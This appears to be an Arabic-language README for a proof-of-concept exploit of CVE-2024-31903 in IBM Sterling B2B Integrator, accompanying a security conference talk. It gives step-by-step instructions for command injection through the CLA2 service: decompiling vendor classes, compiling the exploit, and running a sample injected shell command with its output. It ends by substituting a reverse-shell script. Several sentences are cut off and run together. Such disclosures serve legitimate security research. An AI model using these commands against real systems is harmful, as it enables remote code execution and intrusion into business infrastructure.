
كود PoC للهجمات LPE و RCE (CVE-2024-31903) ضد IBM Sterling B2B Integrator
كود إثبات المفهوم لاستغلال الثغرات المكتشفة في IBM Sterling B2B Integrator، الإصدارات من 6.2.0.0 إلى 6.2.0.2، ومن 6.0.0.0 إلى 6.1.2.5 لأنظمة Linux وWindows وAIX:
يمكن العثور على مزيد من التفاصيل حول هذه المشكلات في محادثتي في DistricCon بعنوان "To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication":
https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b
يشير معظم هذا الكود في هذا المستودع إلى هجوم LPE command injection.
يمكن استخدام عميل Python الثنائي bin_client.py لإرسال الرسائل يدويًا إلى CLA2، مما يسمح باستغلال ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر إلغاء التسلسل (deserialisation).
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]
يقبل كود إثبات المفهوم معلمتين:
bin_client.py، أو السلسلة النصية "SEND" لإرسالها فورًا إلى host:port حيث يستمع عميل CLA2يكون الكود المصدري المضمن في هذا المستودع ناقصًا عمدًا، حيث يلزم وجود بعض الفئات من النظام الفرعي CLA2. اعتمادًا على صلاحيات نظام الملفات لدليل التثبيت، قد تتمكن من الوصول إلى ملفات JAR
بافتراض أنك قمت باستخراج الملفات ذات الصلة من فك تجميع JAR. لن يتم تحميلها هنا لأنها تشكل ملكية فكرية لـ IBM
قم بفك تجميع CLA2Client.jar
في الكود المفكك، حدد موقع الملفين CmdLine2Result.java و CmdLine2Parms.java
انسخهما وألصقهما بجانب Main.java لتكرار هيكل الدليل لحزمة جافا الخاصة بالتطبيق الأصلي
/src/com/sterlingcommerce/woodstock/services/cmdline2/
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt: null
[+] clr.exceptionString: null
[+] clr.somethingToLog: CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result
revshell.py و revshell_listener.py إلى النظام الهدف، وابدأ المستمع. ثم استبدل معلمة الأمر في إثبات المفهوم باستدعاء سكربت الشل العكسي كما يلي:${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND